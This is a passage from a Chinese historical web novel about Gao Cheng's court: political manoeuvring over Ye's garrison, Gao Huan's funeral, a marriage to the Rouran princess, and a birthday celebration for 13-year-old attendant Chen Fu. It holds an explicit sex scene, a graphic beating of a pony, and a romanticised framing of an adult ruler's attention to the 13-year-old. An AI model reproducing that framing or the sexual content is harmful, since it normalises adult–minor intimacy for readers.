他终是拍板,“高洋任中书监、尚书令,高德政辅佐;高浚任京畿大都督,辛术、高隆之辅佐,二人共摄邺城。” 次日早朝,高澄将此安排奏请孝静帝。 于元善见而言,邺城的权柄是给高浚还是给高洋,不过是高家内部的权衡,于他这傀儡皇帝并无半分差别。他甚至未细阅奏疏,只抬眼望了望阶下的高澄,便下旨准奏。 三日后清晨,李府牛车往东柏堂去,刚过尚书省街角,便被拦住。 陈扶掀帘而望,高洋从车前走来,持着柄象牙扇立于车窗旁,沉声道:“陈侍中,可否移步一叙?” 二人去了近处的金谷园,此园原是前燕旧苑,如今早已荒废。朱漆大门朽坏歪斜,园内半人高的狗尾草疯长,风一吹,絮子飞得满处都是。 陈扶脱下细葛外衫,递给净瓶,目光微沉,语气却如常,“这料子薄如蝉翼,沾上絮就毁了。去外面等我,记得抖开了,莫要压出褶子。” 净瓶应声出了园门,却没在门口停留,小跑着上了牛车,对车夫道,“快去东柏堂。” 高澄刚下朝归来,看刘桃枝领着净瓶进了暖阁,便跟了进去,问道:“稚驹呢?怎的只带着她的衣服?” 净瓶正将那外衫轻搭在暖阁的竹晾上,闻言随口回话:“过尚书省街口时,就被太原公拦住了,两人往金谷园去了。奴婢等了会儿也不见人出来,府里尚还有事,就送来好回府。” 说着,已理好近前,一礼道,“那奴婢走了。” 高澄点点头,待其一走,眸光骤暗。 陈扶是他最亲近的女侍中,知晓无数机密;高洋虽是一母同胞的亲弟,可如今权势日隆,心思深沉难测。这两人去金谷园私会,由不得他不上心。 涉及权力与机密,容不得半分侥幸。 他未唤随从,只取了顶帷帽戴上,帽檐压得极低,遮住大半张脸,悄无声息出了东柏堂,上马循着金谷园的方向而去。 38.第38章 象牙扇轻轻拨开拦路草茎,“我掌三省,阿浚掌京畿兵马,军政分权,相互制衡,阿兄如此安排的背后,想必少不了陈侍中的灼见。” “奴婢不过节凝图篆,以典内事。参赞机要实非女侍中之司职。” “侍中过谦了。你出入禁闼、侍奉阿兄左右,一言一行,重若千钧。”高洋目光微转,落在陈扶脸上,“阿浚……他性子率真,阿兄与我皆视他如孩童。他能给出的,无非是些新奇玩意儿,或是几匣黄白之物……那些,不过是小孩子的谢礼。” 扇子一收,指向墙根那株老槐,一株新藤正攀附树干向上生长着,“草木生长,也需依附。依附幼木,风雨来时难免摧折;选一稳靠粗树,方能根深叶茂。” “中书监妙喻。大将军擎天巨木,邺城内外皆蒙其荫蔽。” “哈。”扇骨微微一顿,缓缓收回,在掌中不轻不重敲了一下,“陈侍中所言极是。”高洋环视园中,叹道,“阿兄需坐镇晋阳,这邺城风物,往后便由我来看顾了。这处金谷园,本处繁华之街,荒了实属可惜。城西那几处皇庄,土壤肥沃,然我政务繁忙,却也是无空照料,不如皆送予‘善构’之人,方不至辜负。” 陈扶眼帘微垂,笑回:“若论‘善构’之才,当属尚书右丞辛术大人。昔年他营构宫室,术有思理,百工克济,方有今日邺都之气象。由他来替中书监打理金谷园和皇庄,定能物尽其用,不负所托。” 有节奏的敲击杂乱起来,高洋耐着性子继续暗示,陈扶听不懂似得,错位应着,脚尖在灰地上画着一个又一个圈…… 余光里,墙后多出一小片影,陈扶脚尖一顿,抬眸看向高洋,“中书监今日拦奴婢于此,想必不单是为这金谷园的兴废,或是城西皇庄之所属。中书监日理万机,奴婢也还需赶往柏堂上职,若有要务,不妨……直言。” 高洋心里的烦躁早已如周遭野草一般,闻听此言,也不再迂回,“今日找侍中一叙,乃是想问侍中一句:大将军将京畿大都督一职,授了永安公,侍中觉得这般安排,当真稳妥?” “有何不妥?” “侍中深涉政事,当知京畿乃国之命脉,社稷之根基,”高洋语气加重,“其干系之重,远非表面官阶所能衡量。看似位在中书、尚书之下,实则关乎邺城乃至朝局的生死存亡。” “掌政务与掌兵马,皆是为大将军分忧,奴婢不觉有高下之分。非要论要次,三省才是安邦之基。” “别装了,你不会不知道,京畿大都督任用但凡有一丝差池,朝堂便生变故!” “正是恐生变故,大将军才择定了永安公。京畿大都督的首要职责,不是保卫这座城池,而是大将军身在邺城一日,便须护他一日周全!去年春猎大将军遇险,是永安公舍身相救,臂膀至今尚有熊爪留下的深疤。这般舍命相护,必会以死相保。” 历史上兰京刺杀高澄的真相众说纷纭。 陈扶从人性角度推测,不认为高洋会主动害高澄,毕竟高澄死后,他对文襄六王尚算优容。可他有没有闻讯却冷眼旁观,她打个问号,便是全然无辜,高澄能在他治下的邺城被刺,足以证明他无力护主。 将兵权交给高浚,最差也不过同高洋一般,剧变来临时毫无作用;可若能助她救高澄,便是大赚。 见陈扶这般旗帜鲜明地支持高浚,高洋心中已然怒气上涌,然思及她肇于近侍之利,言能易心,又强压火气,好气提醒:“永安公与阿兄并非一母所出,骨肉亲疏,终究有别。” “中书监所言有理,待大将军的诸位郎君长成,这京畿之权永安公确应交还。届时,中书监当劝谏大将军,将此要位托付于真正的至亲骨血。” 一股邪火直冲高洋顶门,索性撕破最后那层伪装,厉声质问:“陈扶!你有没有想过,若此间兄长也有个万一,高浚他…… 他连父王的骨血都未必是!到时候高氏兵权旁落,你担得起责任吗?!” “虽然奴婢深信,永安公绝不容许大将军在他治下出半分差池。”陈扶逼近他一步,日光撞入她眼底,灼亮得惊人,“但若真如中书监所言,有奸佞包藏祸心,千方百计就是要谋害大将军。那么届时,京畿兵符是在你手中,还是在高浚手中,于我陈扶而言,没有任何分别。” “因为我陈扶认得,从来不是什么高王,更非高氏,” “我只认高澄。” 暖风卷絮,树隐蝉鸣,墙后浓荫里,帽檐下那双狭长的凤目,骤然泛起赤红。 高洋彻底怔住。 他原以为是场利益博弈,却不想她当真是阿兄的死忠。他缓了缓心绪,调整角度道:“我与阿兄是一母同胞,血脉相连,我待阿兄,只会比阿浚更忠,不过是没赶上为他舍命之机罢了。” 陈扶笑了,“若血缘便等同于忠心,中书监又何必来征询我这个、与大将军毫无血缘之人呢?”她微微歪头,“既然中书监自认忠心更甚永安公……若下次大将军再遇险阻,务必要第一个赶到啊。届时,奴婢定在驾前,为中书监多多美言。” 余光里墙后影子离去,看高洋良久未有下文,陈扶后撤一步,一礼道:“既中书监无有其他吩咐,恕奴婢告退。” 拐出荒园时,她终是回头看了高洋一眼。 他独立于杂草飞絮之中,朝阳为他镀上了一层黯淡薄光,透出几分孤寂寥落。 高洋也算个英雄,历史上刚登基时,北伐亲逾山岭,为士卒先。可惜他的方略与陈扶的谋国之略相左,他将精锐耗于北境的契丹、柔然、突厥,为善后大耗民力连修长城,却败于南朝的陈霸先,更无为主攻西贼保存国力。 她今日这番话,固然是为了让高澄亲耳听闻,在其心中埋下对高洋的警惕,安心将邺城兵权托付高浚。但又何尝不是她的肺腑之言?论民生吏治,教育汉化,纵横捭阖,高家上下她心悦诚服、愿倾力辅佐的,唯有高澄一人。 - 晋阳霸府西寝殿,娄昭君倚在榻上,见高澄进来,挥退左右。 高澄在榻边坐下,“家家有何要事吩咐?” 他前脚刚到晋阳,不待整装便被召来,绝不会是闲话。 娄昭君瞥眼儿子颈间薄汗,将案上冰酪往他手边一推,叹了两声,方开口:“阿惠,京畿兵权交给阿浚,不妥。” 高澄从袖中取出一卷舆图递过去,“阿浚刚接手就将京畿布防绘了图,连岗哨换班都标得清楚,孩儿觉得他甚妥。” 娄昭君展开看过,眉头仍未舒展,“可他连是不是你兄兄骨血,当年都有闲话。把京畿兵马交给他,我在晋阳如何安心?” “家家所虑,正是孩儿用他之因。他身世如此,又与夫人不睦,膝下无子,可谓寡人一个,”他拉住娄昭君的手,“所能依仗的,唯有孩儿一人。掌兵用忠,而非一味任亲,孝先表兄比阿浚更远,不一样为孩儿稳住了邺城,守好了晋阳?” “可是那陈扶谏你的?” 高澄眼底锐光一闪,哂笑,“家家高估她了,一个女侍中,兵事哪有她说话的份。” “不用子进倒用阿俊,实不像我儿所为。” “孩儿比家家更望子进成大器,然其掌三省已是吃力,五个多月来,竟是忙得没空去大将军府一趟,也未曾给家家来过书信,若再将邺城兵马尽数付之,他哪里顾得过来?便是三省事务,尚需阿淹分担。” 看她沉默,知道松动了,又凑近些,笑问:“阿浚前月献的西淀莲子,家家用得如何?他让我问问,好的话要再寻些来。” 高洋素与家人不亲,整日价阴沉沉的,反不及高浚知冷知热,常送物问安,千般思绪终化作一声轻叹,“他是个好孩子,只是……防人之心不可无。” “家家安心,阿浚副将皆是孩儿的人,他不过是拴着线的风鸢,线头,在孩儿手里呢。” 娄昭君瞧他那轻松笑面,那点疑虑到底被这自信模样驱散了,“罢了,你也长大了……凡事心里有数就好……” 高澄退出寝殿,冲在廊柱后悄立、侍奉娄昭君的婢子招手,婢子碎步趋前,垂首而立。 他俯下身,凑近那婢子耳边,姿态亲昵如同情人低语,声音柔得能滴出水来,“阿云,我问你,近日太原公可有信来?” 阿云紧紧攥住衣角,声若蚊哼,“没、没有……” “哦?”高澄轻笑一声,伸手将她鬓边那缕碎发轻拢耳后,指尖滑向她下巴,迫她抬起脸来,“半年了,怎么还没弄清,现下这霸府……谁是主人?” 他的语气温柔,但那眼眸里却没半分笑意,阿云脸色一白,“有……有来信。” “真乖。”高澄松开她下巴,变戏法似的手里多了一小锭金子,塞进她微湿的手心,他笑容愈发和煦,看着她惊惶的眼睛,一字一句道:“以后有事要主动说……知道么?” 阿云点点头。 高澄回到内殿,沐汤洗去一身风尘,换件干净官服,径往西营而去。 中军大帐内,段韶正伏案核对粮秣册目,闻声抬头,见进来的竟是高澄,忙搁笔起身相迎,“世子何时回的晋阳?末将未能远迎,恕罪!” “孝先不必多礼。”高澄摆手,走到主位坐下,接过段韶呈上的各项文书迅速翻阅,询问了些军务细节,段韶皆对答如流,事事明晰。 公务交接既毕,段韶道,“大王后事,末将也已督造,一应祭器、守卫皆按渤海王规制。” 高澄目光落在段韶憔悴的脸上,他留守晋阳这两月,既要稳定后方军民,更要依他密信安排大王身后事,只怕已是心力交瘁。 “孝先镇抚军民、调度粮草,厥功至伟。我即刻草拟奏章,请奏陛下封孝先为长乐郡公,食邑千户。另霸府并赏孝先女乐十五人,黄金十斤,缯帛百匹。” 段韶闻言一怔,跪地抱拳道:“世子厚赏,韶愧不敢当!臣蒙大王相托、世子信任,分内之事,不敢称功。” 高澄近前将他扶起,“孝先的功劳,当得起这些赏赐。”拍拍他肩甲,语气恳切,“日后我亲征长社,这后方根本之地,还要劳孝先为我守好,若相辞不受,我如何心安?” 听他如此言,段韶方哽咽受了。 三日后,晋阳宫白幡如雪,正殿香火缭绕,烛台林立,白压压肃立两班文武。灵柩奉于正中,魂幡上书大相国、渤海王、都督中外诸军事等官爵,牌位前太牢三牲俱备,更有玉璧玄帛,告庙礼器。 女眷当先两人,是娄昭君和蠕蠕公主,后站着高欢诸侧室,皆低首垂泪。再后是一众子女,俱是身披重孝,泪眼侍立。 忽听司仪官长喝:“世子至——” 高澄着斩衰孝服,冠绳缨、踏菅屡入殿,凤目泪光盈然,跪倒以首叩地,“咚”的一声闷响,“兄兄——!”一声痛呼,真如伤豹之吼,饱含锥心之痛。娄昭君悲恸佝偻,呜呜哭出两行清泪。殿内女眷子女闻声,顿时哭作一片。 高澄连叩三首,方才起身面向文武,泪痕斑斑,目光却利。 “诸位!王业未成,而帅星遽陨!澄今日在此,为尽子孝,更陈先王遗志!” 陈扶递上帛书,高澄展书,声沉如鼎:“……孤非止为一家一姓之荣辱,实为天下苍生。诸卿当同心辅佐世子,克承先业,以统一天下为志,勿以据守山河为足,扫平宇内,澄清四海。” 旧将如斛律金、彭乐等,听得高王遗命,想起昔日并肩血战的岁月,看着灵前虽年轻却已显露枭雄之姿的高澄,仿佛又看到了高欢当年的影子,淌泪痛哭,陆续跪道,“臣愿随大将军共图大业!” 众文武齐刷刷跪地,呼声如雷,“谨遵先王遗命!愿效忠世子,共图大业!” 娄昭君看着长子,灵前香火,袅袅直上,光晕洒在他周身,好似她当初怀着他时,梦到的那条金龙。 料理完高欢丧仪,蠕蠕公主改嫁之事立刻被提上日程。 霸府专辟出一庭院,依柔然婚俗,青石板路铺着色彩浓艳的毡毯,树上挂满绘有苍狼啸月等图案的旌旗,侍女一律换上短衣长勒。高澄一套小袖右衽袍,深雍靴,鞭躞带,缀着发辫,素日因轮廓流丽而不显的锐利五官,被柔然装束衬得神凶外射,气质骁悍。 高澄站在庭中,目光不自主飘向落座参礼的陈扶,心头莫名涌起一阵烦躁。 趁公主尚未到,他踱到陈扶身侧,自嘲一笑,“兄兄为国,五十余岁尚需‘服侍’柔然公主,何况于我?此乃不得已而为之。” 陈扶微微颔首,“上兵伐交,大将军以婚姻结盟柔然,稳固北境,使边民免于战火,是百姓之福。” 听她这番公事公办的赞许,高澄心口那点说不清道不明的烦躁,非但未散,反而更盛。 正欲再开口,秃突佳和蠕蠕公主来了。 公主身着银灰小袍,领口袖口绣着繁复金线纹,发辫垂落一串串细小银铃,随着她僵硬的步伐发出清冷碎响。她手中紧紧攥着一柄嵌着宝石的短弓,那是她从草原带来的。 她不通汉语,自来晋阳,终日除了见比她大三十四岁的高欢,完成汉父给的任务,就是对着毡毯发呆,唯有去射场用这把短弓发泄般地练箭,能给她一丝慰藉。 婚礼开始,高澄接过侍女递来的马奶酒,与公主交臂而饮。 酒液醇厚,公主却猛地皱了皱眉,将银酒盏重重掷回了侍女手中。 积压的委屈、孤独与愤怒终于爆发,她转向秃突佳,用柔然语激动地质问:“为什么!大王死了,为什么我不能回家?我要回草原去!” 秃突佳脸色一变,厉声呵斥:“住口!可汗之女一旦嫁入夫家,丈夫亡故,就该改嫁其弟或子侄,坚固盟约!” 高澄原本心神飘着,见公主情绪激烈,政治本能顿醒,内外交困之际,稳固柔然不容有失。他上前一步,将蠕蠕揽进怀中,搂紧试图挣脱的新娘。 微微低头,看着公主那双盛满怒火与泪水的眼睛,声音放得极轻极缓,蛊惑道:“臣会让公主不再想念草原。” 他长相极其俊美出众,这般专注凝视,很难不让人心动。蠕蠕公主怔怔地看着他,听着侍女柔声的转译,挣扎的力道渐小了,最终,沉默地完成了仪式。 婚宴散时,夜色已深。 蠕蠕公主坐在榻边,烛光落在她脸上,发辫在脸上投下斑斓阴影,浓眉倔强拧着,大眼睛满是茫然。高澄带着酒气进来,帐幔被他随手扯下,缓缓垂落。 侍女立在门外,依秃突佳命令凝神听着,衣料窸窣摩挲声响起,随即是大将军含笑的声音,“不是历经大王了……羞什么……”公主听不懂汉语,但这把迷人嗓音,光听语气已足够蛊惑。 床榻吱呀声渐响,黏腻之声萦绕在寂静夜里。一个并不柔嫩、生涩僵硬的少女声音,“嗯啊啊”地哆嗦着,忽地,那声音拔高,叫了一嗓子,淋淋漓漓之音传来。 男人一声低哑轻笑,靡丽之声又起,愈发急促猛烈。 约莫半个多时辰后,随着男人一声低沉喟叹 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侍女服侍蠕蠕公主清洗,公主因疲惫不堪,洗了洗便沉沉睡去。侍女换过水,为高澄擦身,才惊觉他未着中衣,外袍衣襟滑动,那物什狰狞怒张,与他春风般的脸全然两样! 她窥探的那几眼,被高澄捉了个分明,他侧目笑问:“怎么,你也想试试?” 他眼尾还带着未尽的情潮,侍女吓得埋下头去。他拢好衣服起身,伸手摸了把她滚烫的脸,“好奴儿,以你主子的脾气,那是害你。” - 陈扶刚踏入听政殿侧厢,便见蠕蠕公主闯了进来。 公主盯着她,“我听叔叔说,你会说柔然话?” 陈扶穿好脱了一半的外衫,“回公主,奴婢略通一些。” 公主眼中一亮,拉住她就往外走,“跟我比射箭去!”殿内正翻阅公文的高澄抬眼,从公主雀跃神情猜出了七八。不待陈扶解释,他已起身,唇角一扬,“走吧,我也同去。” 三人行至射场。 场地显是费了心思的,不仅开阔,更铺了细沙以防扬尘,立着一排披挂皮甲的草人靶子,设了放置各类弓矢的兵器架,一角还搭了个可供休息、装饰着狼头骨的风雨亭,颇具草原风情。 公主一到场便摘下背上那把短弓,搭箭、开弦、松指,“咻”的一声,羽箭钉在草人咽喉处。回眸看陈扶,下巴微扬,“该你了。” 高澄从兵器架上挑了把轻弓递来,陈扶接过,勉力拉满,箭矢却软绵绵飞出,栽进土里。 蠕蠕公主“噗嗤”一声笑了,“你好笨,连靶子边都挨不着!” 她笑声未落,却见高澄已走到了陈扶身后。 高澄左手虚虚托住她执弓的前臂,右手则覆上她拉弦的手背,低声纠正,声音絮絮地,只响在她耳畔。 公主笑容一滞,撅起了嘴。 陈扶余光瞥到,脱开高澄,用柔然语对公主解释:“比试总要棋逢对手才有趣,大将军是怕奴婢技艺太差,令公主无法尽兴。” 随即又转向高澄,用汉语说:“不若大将军亲自与公主切磋罢,下个小赌注,岂不更得趣?” 她那表情,与当初撮合他纳了元玉仪时如出一辙。一股无名火倏地窜起,“好啊,那便下个小赌。”他扫过天空,“若我一箭射下那只鹞子,我的女侍中,日后不会再操她不该操的心。” 话音未落,他已张弓搭箭,动作快得只余残影。只听空中一声哀鸣,那黑点应声而落。高澄收弓,目光死死锁住陈扶。 陈扶默然一瞬,唇边泛起无奈浅笑,“是稚驹多言了。” 蠕蠕公主虽性情粗些,却也有女性天生的直觉。她扯了扯陈扶的袖子,用柔然语质问:“他看你眼神不寻常。你和他,睡过觉了?” 陈扶被这石破天惊的问话砸得一怔,饶是她素来冷静,也不得不垂下眼睫,掩饰慌乱。 再抬眼时,脸上已挂上了懵懂笑意,“奴婢儿时确与大将军同睡过几次午觉。前段时间政务太忙,也曾一同趴在案上打过盹儿。” 蠕蠕公主大眼睛眨了眨,似乎不太相信她真不懂,追问:“你多大了?” 陈扶维持着笑容,“回公主,过了七月十五,就十三了。” “不小了。”在蠕蠕公主成长的草原上,这年纪的女孩已谈论婚嫁,“那你及笄后,也会嫁给他吗?”想起汉家规矩,自行修正道,“不对,你会给他做妾么?” “不会。” 陈扶声音压着公主的尾音而出,没有丝毫犹豫。 被晾在一旁的高澄笑问:“你们说什么呢?” 陈扶笑回:“公主问稚驹,可会一辈子辅佐大将军?稚驹回她,当然。” 六月底,暑气正盛,青州却传来噩耗,尉景病卒,临终前,特命人将他那果下马送至晋阳。 小马刚到霸府,便被高澄牵到射场旁新辟出的草甸上,它温顺地立着,黑眼睛看着周遭,既不惊慌,也不嘶鸣,安静得像一团落在绿茵上的雪。 高澄捧着豆料喂它,小马柔软的嘴唇在他掌心轻蹭,乖乖吃光,抚摸它鬃毛,它安然受之,轻轻甩动尾巴。 直到高澄翻身骑上它的背。 小小身躯微微一沉,却依旧站得稳当。高澄夹了夹马腹,一动不动。他加重了力道,它仍是纹丝不动,又变成了一尊石马。高澄耐着性子,用马鞭轻敲了敲,它只是甩了甩尾巴,好似与那片草甸长在了一处。 高澄抽了一鞭。 回应他的,只有小马不再平稳的呼吸。 接连几日,皆是如此。 豆料照吃,抚摸照享,挨鞭子也受着,不抗拒,也不畏惧,就是一种纯粹的、彻头彻尾的‘不动’。 “好个犟种!”高澄气得发笑。 一阵清脆银铃声响由远及近,蠕蠕公主走过来,目光立时被纯白如雪的果下马吸引,“好漂亮的马!” 听高澄与驯马师都束手无策,她脸上掠过草原儿女对驯马无能的轻蔑。不等高澄反应,已一把夺过他手中马鞭。利落地翻身上马,刚坐稳,鞭子已带起尖锐风声,“啪”地一声脆响,一道刺目的血痕浮现,白色的毛发翻卷开来。 小马发出一声痛苦悲鸣,四蹄却反而缩得更紧,不肯挪动分毫。 这固执愈发激起了公主凶性。她眉峰拧起,面庞因狠厉显得有些扭曲。“不走?我看你走不走!”鞭影接连落下,一下,又一下,毫不留情。鞭挞声和着小马凄厉哀鸣,在草场回荡。 那原本完美无瑕的皮毛,顷刻已是纵横交错,鲜血淋漓,滴滴答答落在碧绿的草甸上,触目惊心。 高澄看着那在鞭下瑟瑟发抖、遍体鳞伤的小马,看着那双眼睛,心头一抽一抽地疼。 踏步上前,一把攥住蠕蠕公主手腕,低头迫近,将公主笼在他影中,日光斜落,勾勒出他紧绷的下颌,那惯常含笑的眉眼,沉沉望着她。 “公主好大火气。” 另只手掰开她手指,取走鞭子,“它若被你打死了,尉景只怕要托梦怪臣,臣如何还有心情……好好伺候公主?” 侍女翻译给公主。 手腕的痛感和男人的气场,让她那股凶悍之气泄去,只剩下被压制的不甘。 高澄不再看她,目光扫过仍在微微颤抖的小马,落到马夫身上时,目色已归于冷硬。 “牵下去,好生照料伤口。待伤好了,关它几天,只给清水,煞煞它性子。” “没有孤的命令,谁也不准再碰它。” 39.第39章 高澄将那道邺城来的明黄诏书展开,烛火跳了两跳,映得那一长串官衔忽明忽暗。 “侯景未平,尚无开疆拓土之功,我欲辞了大丞相、渤海王,”视线落向身侧,捉住砚台旁那只素手,指腹擦过她指尖沾染的墨痕,“稚驹以为呢?” 陈扶抬眼,观他神色审慎,确是真意不欲冒进,方温软道:“大将军思虑恰合古制,若陛下真有此意,自会再授。” “你阿耶来信,说陛下近日与散骑常侍荀济往来甚密,谈经论史,颇为投契。”高澄把玩着她手指,似笑非笑,“陛下如此勤勉,此番辞了,还会否‘再授’……难说。” “便是眼下不授,待到长社之战功成,侯景南逃,朝野上下自会请愿,也由不得陛下不授。” 高澄心里那点阴翳尽散,请来传诏的中书舍人,挂上谦和笑意,“陛下厚爱,臣感激涕零。使持节、都督中外诸军、录尚书事、大行台之职,臣愿殚精竭虑,暂领其责。唯大丞相、渤海王之爵禄,臣德薄功微,不敢受领。” 转而向刘桃枝吩咐:“使臣辛劳,不可怠慢。且请至宴厅,待孤批完这几卷紧急文书,便亲去作陪。” 刘桃枝引着人方才退出殿门,秃突佳便像一阵草原旋风般闯了进来,黝黑的脸上泛着兴奋的红光,“国师的法铃昨夜自响,我就知有祥瑞降临!” 他用力拍打高澄臂膀,“公主有喜了!哈啊哈!医官算过,正是洞房那日!一发必中啊!厉害!真厉害啊!” 高澄轻咳一声,秃突佳这才意识到陈扶还在,讪笑转口:“哈哈!等孩儿落地,我就能回草原去了!” 待秃突佳离去,陈扶轻声开口道:“恭喜大将军,得闻蠕蠕公主佳讯,倒让稚驹不由想起……同怀身孕的甘露来……” 高澄叫来苍奴,令其去库房取百匹上好蜀锦,给甘露送去。 见他又是‘礼到人不到’,陈扶想了想,笑问,“阿耶阿母皆在邺城,今年稚驹的生辰小宴,便预设在甘露处,不知大将军可会赏脸光临?” 高澄轻嗤一声,“没良心的小东西,问出这等生分的话来,你生辰我哪年没去?” 七月十五 甘露一早便看着下人收拾庭院,扫得石缝里一丝草屑不见,因记得高澄刚领她来时,曾赞过一句‘榴花照眼’,食案特意设在了石榴树下。 高澄午时才到,他一身深青袴褶,进门便径直往陈扶身侧一坐,长腿一张,手肘懒懒支在膝上,含笑眼风扫过,满院仆婢皆屏息垂首。 甘露立在主位,呼吸一窒。 “身子可好?” 她正盯看他膝头的手,指骨分明,连青筋都生得好看,一时看得迷了,竟没听到问话。 陈扶起身道:“甘露坐这儿罢,主位设在风口,你如今受不得寒。”说着将人引到高澄身侧,自己挪到背阴主案。 高澄睨着陈扶这番动作,唇角一翘,“你倒会疼人。”看甘露要给他倒茶,按住道,“这些事让下人来。” 举箸开宴,膳用到一半,甘露忽“啊”了一声,抬眸看向高澄,面上漾起粲然光彩,“孩子方才踢我了……” 高澄目光落在那浑圆弧度上,“几个月了?” 他问得如此理所当然,浑然不觉身为孩儿父亲,不知其孕程有何不妥。 甘露眸光一黯,垂下眼睫道:“六个月了。” 高澄应了声,话题转向实际,“你生产之后,有何打算?是想住在邺城,还是留在晋阳?若选邺城,”瞥眼陈扶,“可住进大将军府。” 此言风轻云淡,于甘露却重若千钧。住进大将军府,意味着她从一无名无分的外室,变为有名有姓的妾侍。 甘露简直不敢相信自己的耳朵,抬眼痴痴地望着他。 “若选晋阳,蠕蠕公主不比冯翊公主,性子刚烈,不好相与。便将房契过给你,日后你就住在此处。你自行权衡。” 说罢,微一示意身后的苍奴。 一沉甸甸的锦袋置于甘露面前。 “这些先拿着零用,用罢只管遣人去霸府支取。” 甘露忙扶着沉重身子,欲起身行礼,声音因激动而微微颤着,“妾……谢世子恩典……” 高澄止住她动作,“坐着吧。” 膳毕撤下残炙,换了水浆瓜果上来,苍奴将一紫檀木匣放至陈扶案前。 高澄噙着笑盯看她,“打开看看。” 依言开匣,素缎衬底上,静卧着一顶金冠。 金片捶揲成初生柳叶形状,叶脉清晰可辨,窄长叶片层叠缠绕,疏密有致,金光溢彩。 “既已打好了,便先拿着玩,及笄礼自有更好的。” “稚驹很喜欢,谢大将军如此殊礼。” 高澄并未久留,只随三人回内室略坐了坐,看了看甘露为孩儿绣制的小鞋小衣,饮了半盏茶,便起身道:“还有紧要事要办。” 目光落在陈扶脸上,“你既告了假,便多陪陪她。我已下令,离你家近的那个偏门,今夜戌时再关。” 甘露送他至院外,自袖中取出一方绣帕递过去,“世子……” 高澄接过帕子,白绸上,用艾绿、杏子黄与檀香褐的丝线绣着夏日小景:一只母鹿俯首饮水,幼鹿偎在身旁,公鹿在树下昂首而立。鹿身茸毛分明,针脚匀净得像是天然长成的纹理。 “当真好绣工,倒似活了一般。”他拢进袖中,摸摸她脸颊,“回吧。好生养着。” 日影西斜,透过窗棱筛进屋内。 陈扶从书架抽了本《诗经》,刚在窗下的软榻歪下,净瓶便抱着碗冰西瓜挨过来,“仙主不睡个午觉?” “在晋阳呆不了几天了,还是陪她吧。” 帘栊轻响,甘露扶着门框挪进来,轻轻叹出一口气。 “莫要叹气了,”净瓶呸了口,瓜籽清脆落在痰盂里,“人虽走了,金子可是实打实留下了!他这般大方,你令自己爱钱不就好啦?非爱他作何?” 陈扶书卷抵在下颌,笑道,“净瓶话糙理不糙。境随心转,心念一通达,境遇便豁然开朗。” 二人一俗一雅,倒真冲淡了甘露眉间轻愁。她“嗯”了声,从绣簏里取出未完工的小衣,挨着她们让出的半边榻缘坐下。 “奴婢会尽力看开。” “不要再称‘奴婢’,非要论,你算我的主子了。” 针尖悬在半空,甘露抬头,眼底泛起惶惑,“仙主可是……不再用奴了?” “你别多心。”陈扶将书页翻过一张,“好好养着,待生了孩儿出了月子,自有要事用你。” 这话令甘露的心落到了实处,愁绪尽散了,绣针重新落下。 甘露身子重,容易乏,绣一阵便倚着软枕小靠片刻,净瓶吃完瓜净过手,取过她绣了半拉的小肚兜,帮她填那藕荷色莲纹。 陈扶看了会儿书,也坐起拿过个绣绷,依着样子绣云纹,没两下就扎到手,撂下了。 看她动绣活,甘露忽想起一事,“仙主,去岁你生辰,大将军把你绣的那个……小鸭荷包,顺手给拿走了。” 陈扶拿书的动作一顿。 “啊呀!”净瓶噗嗤笑出声,“那个也太……奴婢教仙主重绣个像样的,换回来罢?” 陈扶意兴阑珊一歪,“不必了,他是瞧丑得稀奇,拿去当笑料了,只怕早不知丢哪去了。” 说罢轻摸了摸甘露肚子,煞有介事‘胎教’起来:“关关雎鸠…… 这个你如今听还太早……七月在野,八月在宇,九月在户,十月蟋蟀入我床下……这是在说,时节更替,万物有时……”凑到甘露肚子前,“你有没在听啊?” 腹中突鼓起个小包,正撞上她脸颊,陈扶吓得往后一缩,把个净瓶笑得前仰后合。 说笑不觉间,太阳已西沉。 辞别甘露,二人叫了车,在偏门下车时,天已黑透,校尉验过印信,城门滑开一道缝隙。 门洞内出奇地漆黑寂静,竟不见一盏灯火,走了几步,脚下踩到了什么软绵绵的东西,发出细碎的簌簌声,净瓶有点害怕,攥紧陈扶的衣袖,“仙主,这是咋了?” 话音方落,道旁灯柱上忽亮起两个绢灯。 昏黄光晕里,隐约可见两道黑影,点亮灯笼后便悄然退去,仿佛从未出现过。 就在这一刹那,沿着青石小径蜿蜒而去,竹骨绢面的灯笼次第亮起,连成一条望不见尽头的暖黄色灯河。 灯笼半数绘着憨态可掬的小马,半数写着‘扶’字,方才脚下踩着的,原是铺了满道的菊花瓣与桂花瓣。 “天呐,好美,女郎快看......” 看陈扶驻足在一盏灯笼前,净瓶也凑近细瞧,才发现那些写着‘扶’字的灯面,竟都题着名士的祝词: “扶摇乘风,平步青云”——温子升。 “春风得意,马蹄轻疾”——阳休之。 再往前, “七载同车,红袖添香。十三其仪,令德惟芳。”——邢邵。 “清谈如流动邺下,辩才无碍贯长虹。诗成笑傲南来客,剑气摧折北地雄。”——魏收 陈扶沿着灯河缓步前行,净瓶默默跟在身后,看着她在每一盏灯前驻足,暖黄的光晕在她羽睫上轻轻跃动,将她的面容映照得格外柔软。 一盏六角宫灯前,陈扶久久停驻。 净瓶上前细看,灯面上书: “忆昔牵衣小女童,今已亭亭画堂中。 七载光阴凝眸过,难忘当年旧青骢。” 落款‘高澄’二字,写得恣意潇洒,收势却带着难言的柔情。 一滴泪珠从陈扶眼角无声滑落,沿着脸颊蜿蜒而下,晚风拂过,满街灯笼轻轻晃动,万千光影在她含泪的眸中碎成星河。 灯河将尽时,道旁古槐下,四名乐师坐在石凳上,琵琶起调,箜篌徐徐相接,歌声流淌而来: "十三初度,正芳华。 七载侍笔,文采佳。 辩服江南客,诗成动京华......" 横笛声起, "今有良驹兮,掌珠熠熠, 如月之恒兮,如花解语。 十三弦动东风里——" 四器忽作齐鸣,箜篌如春蚕吐丝,将唱词绵绵缠绕在夜色里: "椿萱并岁稠,身如不系舟,千里江川自遨游。愿吾明珠兮,岁岁无忧,无虑亦无愁......" 别居门前,高澄负手立在廊下,墨色窄袍融在夜色里,唯有玉带映着微光。见陈扶走近,他唇角牵起弧度,夜空突然炸开赤色烟火—— 橙、黄、绿、青、蓝、紫、白、银、金、粉、黛、朱,一色接一色,每一色都拖着长长的光尾,如千树繁花,似流星曳空,火光将巷口照得恍若白昼,檐角兽吻镀上流动光华。 净瓶看呆了,硝石本是炼丹原料,极为珍稀,比黄金还贵重,这般盛景,不知要耗去多少丹炉玄霜,费尽多少匠人心血。 陈扶站在花瓣灯影里,看着这穷极人间的绚烂,泪珠顺着脸颊无声滚落, 高澄近前,轻轻捧住她湿漉漉的小脸细瞧。 